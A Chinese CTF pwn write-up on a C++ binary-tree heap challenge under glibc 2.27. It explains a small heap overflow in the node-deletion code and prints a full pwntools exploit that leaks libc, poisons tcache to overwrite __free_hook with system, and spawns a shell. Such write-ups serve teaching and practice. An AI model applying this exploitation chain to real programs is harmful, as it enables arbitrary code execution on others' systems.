CTF高质量PWN题之二叉树的漏洞利用
初步分析
程序运行起来看起来似乎是一道常规的菜单堆题：
libc环境：
是Glibc 2.27-3ubuntu1.4，这个版本与2.31版本很像，都有key机制，一定程度上防止了double free的攻击。
回到程序，程序的功能有插入，展示和删除，我们具体用IDA打开来看看程序是个什么逻辑。
可以看到函数列表有非常多的函数（原题去除了符号表，笔者经过逆向重命名了一些函数符号），并且使用c++编写，逆向起来难度更大，如果采取常规的静态分析手段，可能会花费很大的精力，由于题目名字是cxx_and_tree，我们猜测整个程序是用树这种数据结构来存储信息，最经典的莫过于二叉树，我们可以来写个demo来测试程序，如果申请以下堆块，那么堆结构如下面的图：
add(0, 0x60, 'a') add(4, 0x60, 'a') add(2, 0x60, 'a') add(9, 0x60, 'a') add(3, 0x60, 'a') add(7, 0x60, 'a') 复制代码
其中0x40大小的为node部分数据，其余大小的为其data数据，将其画为二叉树长成如下样子
左右子树根据其index分如上图，并且通过观察每个node的节点可以确定程序是用二叉树来存储数据。
经过逐步调试和逆向加深对程序的理解后，笔者分析node结构体如下：
struct node { __int64 idx; // 节点号 __int64 user_size; // 用户输入的size __int64 *self_heap_buf; // 存储数据的buf node *left; // 左孩子 node *right; // 右孩子 node *father; // 父节点 }; 复制代码具体的漏洞和代码逆向请看下文。
漏洞分析与逻辑触发点
漏洞位于当我们删除某个二叉树节点的时候，如果该节点有左右子树，会调用一个memcpy的函数，这个函数的对于节点size的处理是有问题的。
在申请节点的时候，其size的算法是这样的：
做了一个类似于align的操作，这个操作是很安全的，人为扩展了一下chunk，使得我们能够申请的最大的size和其align之后最小的size一样大，但是下面的删除节点的操作就有bug了：
v2 = (unsigned __int64)tmp_target->user_size >> 3; 复制代码
写个poc来看下我们能溢出的字节数量
def poc(): for size in range(0x10, 0xff + 1): biggerSize = ((size >> 3) + 1) * 8 smallerSize = (size >> 3) * 8 if biggerSize > smallerSize: print("size:{}, biggerSize:{}, smallerSize:{}".format(hex(size), hex(biggerSize), hex(smallerSize))) poc() 复制代码注意到我们在触发这个逻辑的时候，有部分size是比biggerSize要小的，最多可以溢出7字节。
整个删除节点的逻辑如下：
想要到达漏洞点所在的位置，则该节点必须同时拥有左右孩子节点才可以。
分析下如果该节点同时拥有左右孩子节点，那么删除该节点的时候发生的流程大致如下：
首先是获得该节点中右子树中最小的元素（按idx确定大小，因为下面一直走的是左子树的逻辑）
然后将其要替换的节点传入到带有bug的函数中，在此函数中，程序重新申请了一块buf，然后复制要替换节点的数据到新的buf中，值得注意的是，并没有像我们传统的数据结构中一通乱改指针，而是采用了一个复制的思想，但是新创建的buf的size给少了，控制得当能够溢出七个字节。
然后再往下的逻辑就是删掉刚才的右子树中的最小节点，因为其数据已经拷贝到原本要删除的节点当中。
在这里我有个疑问，既然之前选到了右子树的最小的节点，那么为什么还要判断其是否还有左子树呢？上面的分支应该永远不会进入，或许是出题人为了增加逆向难度，又或者是出题人面向ctrl+CV编程。
然后进入一个删除节点的函数：
unsigned __int64 __fastcall delete_leaf_node_or_right_children(struct node **father_node, struct node **to_delete_node, struct node **tmp_father_node) { struct node *v3; // rbx struct node *v4; // rbx struct node *v5; // rbx struct node *v6; // rbx unsigned __int64 v8; // [rsp+28h] [rbp-18h] v8 = __readfsqword(0x28u); if ( *to_delete_node == *father_node ) // only root node { if ( *((_DWORD *)father_node + 4) == 1 ) // only a node { v3 = *to_delete_node; if ( *to_delete_node ) { deleteNode0((__int64)*to_delete_node); operator delete(v3); } *father_node = 0LL; --*((_DWORD *)father_node + 4); *to_delete_node = 0LL; } else // has right children { *father_node = (*father_node)->right; (*father_node)->father = 0LL; // because of the "to_delete_node == father_node", the children will be the root node v4 = *to_delete_node; if ( *to_delete_node ) { deleteNode0((__int64)*to_delete_node); operator delete(v4); } *to_delete_node = 0LL; } } else if ( *to_delete_node == (*tmp_father_node)->left )// if the node to delete is in the left of its father node: { (*tmp_father_node)->left = (*to_delete_node)->right;// change parent ptr and children ptr if ( (*to_delete_node)->right ) (*to_delete_node)->right->father = *tmp_father_node; v5 = *to_delete_node; if ( *to_delete_node ) { deleteNode0((__int64)*to_delete_node); operator delete(v5); } *to_delete_node = 0LL; } else // if the node to delete is in the right of its father node: { (*tmp_father_node)->right = (*to_delete_node)->right; if ( (*to_delete_node)->right ) (*to_delete_node)->right->father = *tmp_father_node; v6 = *to_delete_node; if ( *to_delete_node ) { deleteNode0((__int64)*to_delete_node); operator delete(v6); } *to_delete_node = 0LL; } return __readfsqword(0x28u) ^ v8; } 复制代码分为两种情况删除，一是叶子节点，另外就是还有一个右孩子节点，删除的方法很普通，就是普通数据结构中学的删除方法一样。
漏洞利用
完整exp如下：
from pwn import * import sys arch = 64 challenge = "./pwn1" libc_path_local = "/glibc/x64/1.4_2.27/libc.so.6" libc_path_remote = "" local = int(sys.argv[1]) elf = ELF(challenge) context.os = 'linux' context.terminal = ['tmux', 'splitw', '-hp', '65'] if local: if libc_path_local: io = process(challenge,env = {"LD_PRELOAD":libc_path_local}) # io = gdb.debug(challenge, 'b *$rebase(0x279f)') libc = ELF(libc_path_local) else: io = process(challenge) else: io = remote("node4.buuoj.cn", 25965) if libc_path_remote: libc = ELF(libc_path_remote) if arch == 64: context.arch = 'amd64' elif arch == 32: context.arch = 'i386' def dbg(): context.log_level = 'debug' def echo(content): print("\033[4;36;40mOutput prompts:\033[0m" + "\t\033[7;33;40m[*]\033[0m " + "\033[1;31;40m" + content + "\033[0m") p = lambda : pause() s = lambda x : success(x) re = lambda m, t : io.recv(numb=m, timeout=t) ru = lambda x : io.recvuntil(x) rl = lambda : io.recvline() sd = lambda x : io.send(x) sl = lambda x : io.sendline(x) ia = lambda : io.interactive() sla = lambda a, b : io.sendlineafter(a, b) sa = lambda a, b : io.sendafter(a, b) uu32 = lambda x : u32(x.ljust(4,b'\x00')) uu64 = lambda x : u64(x.ljust(8,b'\x00')) bps = [] pie = 0 def gdba(): if local == 0: return 0 cmd ='b *$rebase(0x1ee2)\n' if pie: base = int(os.popen("pmap {}|awk '{{print ./pwn1}}'".format(io.pid)).readlines()[1],16) cmd +=''.join(['b *{:#x}\n'.format(b+base) for b in bps]) cmd +='set base={:#x}\n'.format(base) else: cmd+=''.join(['b *{:#x}\n'.format(b) for b in bps]) gdb.attach(io,cmd) _add,_free,_show = 2,3,1 menu = "3.remove_information" def add(idx, size, content): sla(menu, str(_add)) sla("idx:", str(idx)) sla('size:', str(size)) sa("content:", content) # ru('addr=') # return int(io.recv(5), base=16) def free(idx): sla(menu, str(_free)) sla("idx:", str(idx)) def show(): sla(menu, str(_show)) def exp(): for i in range(8): add(i, 0xd0, 'a') for i in range(7): free(i) add(8, 0x20, 'a') show() leak = uu64(ru('\x7f')[-6:]) - 289 - 0x10 - libc.sym['__malloc_hook'] libc_base = leak echo('libc base:' + hex(libc_base)) free(7) free(8) add(7, 0xdf, 'z' * 0xdf) add(4, 0xd0, 'a') add(2, 0xd0, 'a') add(11, 0xdf, (p64(0) + p64(0xd1)) * 2) add(10, 0xdf, 'c' * 0xdf) add(15, 0xdf, 'd' * 0xdf) add(13, 0xdf, 'e' * 0xd8 + p32(0x71).ljust(7, '\x00')) # The last one chunks are buF areas of Number 3 # The last two chunks are buF areas of Number b free(11) # 5c0 will corrupt __free_hook = libc_base + libc.sym['__free_hook'] system = libc_base + libc.sym['system'] free(4) add(4, 0x60, p64(0) * 6 + p64(0) + p64(0x31) + p64(__free_hook)) add(0, 0x2f, 'a') add(3, 0x2f, 'a' * 0x28 + p32(0x51).ljust(7, '\x00')) free(2) free(0) free(4) free(15) free(10) free(13) # Get the second chunk of 0x30 add(13, 0xd0, 'a') add(10, 0x2f, 'a') add(15, 0x2f, 'a') add(14, 0x2f, 'l' * 0x28 + p32(0x31).ljust(7, '\x00')) free(13) free(10) free(15) add(10, 0xd0, '/bin/sh\x00') add(8, 0x2f, '/bin/sh\x00') add(13, 0x2f, '/bin/sh\x00') add(12, 0x2f, p64(system) + p64(0) * (0x28/0x8 - 1) + p32(0).ljust(7, '\x00')) free(10) free(8) exp() ia() 复制代码漏洞其实并不太好利用，分析原因如下：insert节点的时候会额外申请别的堆块出来，整体的堆布局我们其实并不太好控制，所以漏洞利用的时候会有时不可控，我们需要反复的调试，现给出exp的书写思路。
泄露libc基址
for i in range(8): add(i, 0xd0, 'a') for i in range(7): free(i) add(8, 0x20, 'a') show() leak = uu64(ru('\x7f')[-6:]) - 289 - 0x10 - libc.sym['__malloc_hook'] libc_base = leak echo('libc base:' + hex(libc_base)) free(7) free(8) 复制代码在2.27下，只要循环填满tcache即可很容易的泄露出libc
布置二叉树
add(7, 0xdf, 'z' * 0xdf) add(4, 0xd0, 'a') add(2, 0xd0, 'a') add(11, 0xdf, (p64(0) + p64(0xd1)) * 2) add(10, 0xdf, 'c' * 0xdf) add(15, 0xdf, 'd' * 0xdf) add(13, 0xdf, 'e' * 0xd8 + p32(0x71).ljust(7, '\x00')) 复制代码
可以看到，我们在输入content的时候会输入一些很奇怪的值，这个时候的值我们是无法确定的，必须结合后文来慢慢调试。
初始状态如图所示，这个时候我们去free11，将会到达漏洞所在逻辑的位置处，让程序触发漏洞。
此时堆空间的布局如图所示
可以看到这个时候其实已经利用了漏洞改写了下一个堆块的size位，形成了overlap
下面是关键操作，劫持tcache数组的0x30大小的chunk的fd为hook
free(4) add(4, 0x60, p64(0) * 6 + p64(0) + p64(0x31) + p64(__free_hook)) 复制代码
此时的bins情况：
此时的二叉树为：
因为现在已经将freehook链入到tcache里面，下面我们的工作主要就是围绕怎么将其申请出来而努力，首先直接申请是肯定不行的，我也没有深究，因为申请的时候会首先申请两个chunk出来，然后将其free掉，然后再做一系列的memcpy操作，在这一系列的过程中，无法保证中间chunk的合法性能够绕过检查，所以我们还是利用漏洞点申请不同size的chunk的这一特性努力，我们可以逐个布置满足要求的二叉树节点，然后利用漏洞来申请出来这个chunk。
第一轮申请
add(0, 0x2f, 'a') add(3, 0x2f, 'a' * 0x28 + p32(0x51).ljust(7, '\x00')) free(2) 复制代码
布置完如下node，二叉树为：
堆布局为：
可以看到还有两个node就可以申请到freehook。
free(0) free(4) free(15) free(10) free(13) 复制代码
清除一些无关的node，为我们布置节点做好铺垫。
第二轮申请
add(13, 0xd0, 'a') add(10, 0x2f, 'a') add(15, 0x2f, 'a') add(14, 0x2f, 'l' * 0x28 + p32(0x31).ljust(7, '\x00')) free(13) 复制代码
此时二叉树为：
堆布局为：
清除一些节点来重新布置
free(10) free(15) 复制代码
第三轮申请并getshell
故技重施，最终可以申请到hook所在空间并getshell
add(10, 0xd0, '/bin/sh\x00') add(8, 0x2f, '/bin/sh\x00') add(13, 0x2f, '/bin/sh\x00') add(12, 0x2f, p64(system) + p64(0) * (0x28/0x8 - 1) + p32(0).ljust(7, '\x00')) free(10) free(8) # getshell 复制代码
本文到这里就结束了，如果有疑问或者任何不当之处欢迎联系笔者进行技术交流：lemonujn@gmail.com
作者：合天网安实验室
链接：https://juejin.cn/post/7031773475895574535